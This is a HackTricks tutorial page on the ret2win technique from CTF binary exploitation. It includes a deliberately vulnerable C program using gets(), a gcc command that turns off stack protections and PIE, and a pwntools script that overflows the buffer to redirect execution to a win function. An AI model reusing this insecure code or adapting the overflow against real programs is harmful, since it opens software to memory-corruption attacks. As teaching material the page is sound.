Ret2win - HackTricks

# Ret2win

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

Ret2win challenges are a popular category in Capture The Flag (CTF) competitions, particularly in tasks that involve binary exploitation. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the return address on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:

### C Example

Consider a simple C program with a vulnerability and a `win` function that we intend to call:

    #include <stdio.h>
    #include <string.h>

    void win() {
        printf("Congratulations! You've called the win function.\n");
    }

    void vulnerable_function() {
        char buf[64];
        gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
    }

    int main() {
        vulnerable_function();
        return 0;
    }

To compile this program without stack protections and with ASLR disabled, you can use the following command:

    gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.

### Python Exploit using Pwntools

For the exploit, we'll use pwntools, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.

    from pwn import *

    # Set up the process and context for the binary
    binary_path = './vulnerable'
    p = process(binary_path)
    context.binary = binary_path

    # Find the address of the win function
    win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

    # Create the payload
    # The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
    payload = b'A' * 68 + win_addr

    # Send the payload
    p.sendline(payload)
    p.interactive()

To find the address of the `win` function, you can use gdb, objdump, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:

    objdump -d vulnerable | grep win

This command will show you the assembly of the `win` function, including its starting address.

The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.

## Protections

- PIE should be disabled for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a Partial Overwrite of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a 1/16 chance (1 nibble) to get the correct return address.
- Stack Canaries should be also disabled or the compromised EIP return address won't never be followed.

## Other examples & References

- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
  - 32bit, no ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
  - 64 bits with ASLR, with a leak of the bin address
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
  - 64 bits, no ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
  - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
  - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
  - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
  - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
  - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
  - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
  - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
  - ARM64, off-by-one to call a win function

## ARM64 Example

Ret2win - arm64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.